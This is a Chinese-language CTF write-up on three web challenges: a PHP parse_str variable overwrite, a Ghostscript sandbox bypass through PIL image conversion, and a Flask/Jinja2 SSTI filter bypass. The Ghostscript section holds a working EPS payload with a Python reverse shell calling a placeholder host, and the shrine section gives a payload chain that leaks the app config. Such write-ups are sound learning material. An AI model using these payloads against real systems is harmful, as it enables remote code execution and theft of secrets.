3道web,done一题签到和ghostscript,ssti短学期结束后看wp学习


SimpleAuth

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

require_once 'flag.php';

if (!empty($_SERVER['QUERY_STRING'])) {
    $query = $_SERVER['QUERY_STRING'];
    $res = parse_str($query);
    if (!empty($res['action'])){
        $action = $res['action'];
    }
}

if ($action === 'auth') {
    if (!empty($res['user'])) {
        $user = $res['user'];
    }
    if (!empty($res['pass'])) {
        $pass = $res['pass'];
    }

    if (!empty($user) && !empty($pass)) {
        $hashed_password = hash('md5', $user.$pass);
    }
    if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') {
        echo $flag;
    }
    else {
        echo 'fail :(';
    }
}
else {
    highlight_file(__FILE__);
}

看到parse_str想到变量覆盖

slack emoji converter

访问/source获得源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from flask import (
    Flask,
    render_template,
    request,
    redirect,
    url_for,
    make_response,
)
from PIL import Image
import tempfile
import os


app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/source')
def source():
    return open(__file__).read()

@app.route('/conv', methods=['POST'])
def conv():
    f = request.files.get('image', None)
    if not f:
        return redirect(url_for('index'))
    ext = f.filename.split('.')[-1]
    fname = tempfile.mktemp("emoji")
    fname = "{}.{}".format(fname, ext)
    f.save(fname)
    img = Image.open(fname)
    w, h = img.size
    r = 128/max(w, h)
    newimg = img.resize((int(w*r), int(h*r)))
    newimg.save(fname)
    response = make_response()
    response.data = open(fname, "rb").read()
    response.headers['Content-Disposition'] = 'attachment; filename=emoji_{}'.format(f.filename)
    os.unlink(fname)
    return response

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8080, debug=True)

对图片进行处理,这时想起了前几天爆出来的ghostscript沙箱绕过导致rce的漏洞,拿上poc打一波,发现500了。想了下,poc可能是针对imagemagic的,于是搜索pil ghostscript,找到以前的poc,在关键位置换上新的poc打一波,成了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);') currentdevice putdeviceprops

shrine

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import flask
import os


app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{\% set {}=None\%}}'.format(c) for c in blacklist])+s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

很明显的SSTI,但是过滤了括号,并且把config和self设置为None,所以不能通过执行函数或者直接获取环境变量,尝试过使用

1
2
3
4
5
request.args
request.cookies
request.headers
request.environ
request.values

但是都失败了,但是request还是可以使用的,app.config肯定在别的地方还存在,所以通过遍历request下的所有元素找出存在flag的元素

在原先wp的poc上改了一点

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# -*- coding: UTF-8 -*-
import flask
import os
from flask import request

def search(obj, max_depth):
    visited_clss = []
    visited_objs = []
    path_list = []

    def visit(obj, path='request', depth=0):
        
        if depth == max_depth:
            return

        elif isinstance(obj, (int, float, bool, str, bytes)):
            return

        elif isinstance(obj, type):
            if obj in visited_clss:
                return
            visited_clss.append(obj)

        else:
            if obj in visited_objs:
                return
            visited_objs.append(obj)
        
        # attributes
        for name in dir(obj):
            if name.startswith('__') and name.endswith('__'):
                if name not in  ('__globals__', '__class__', '__self__',
                                 '__weakref__', '__objclass__', '__module__'):
                    continue
            attr = getattr(obj, name)
            visit(attr, '{}.{}'.format(path, name), depth + 1)
        
        # dict values
        if hasattr(obj, 'items') and callable(obj.items):
            try:
                for k, v in obj.items():
                    visit(v, '{}[{}]'.format(path, repr(k)), depth)
            except:
                pass
        
        # items
        elif isinstance(obj, (set, list, tuple, frozenset)):
            for i, v in enumerate(obj):
                visit(v, '{}[{}]'.format(path, repr(i)), depth)
        if 'TWCTF' in str(obj):
        	path_list.append(path)
        	return
            
    visit(obj)
    return path_list

app = flask.Flask(__name__)
app.config['FLAG'] = 'TWCTF{xxxxxxx}'

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
	
	return str(search(request, 10))
if __name__ == '__main__':
    app.run(debug=True)

然后去访问127.0.0.1:5000/shrine/xxxx

随便选一个

成了

思考

为什么这样就会出env呢?掏出源码

访问http://shrine.chal.ctf.westerns.tokyo/shrine/{{request.application.__self__}},显示

定位到flask/flask/wrappers.py

其中引入了current_app模块

current_app是一个本地代理,它的类型是werkzeug.local. LocalProxy,它所代理的即是我们的app对象,也就是说current_app == LocalProxy(app),在同一个上下文中就可以通过current_app.config 获取当前application的所有配置

但是因为不是字符串,直接输出会500

于是跟进Request这个类

发现继承于JSONMixin,跟进其中,发现_get_data_for_json

调用get_data()获取数据

__globals['json']__ 调用wrappers.py中的json模块,然后调用JSONEncoder.default(),将__globals['current_app']__.config经过json encode处理输出成字符串

后来发现直接request.application.__self__._get_data_for_json.__globals__['current_app'].config也能输出


因为对flask不是很了解,上述过程应该存在错误,希望能够被指导


参考

https://ctftime.org/writeup/10851

https://www.jianshu.com/p/f3dba5b5c343

https://www.jianshu.com/p/0892b5d37ed0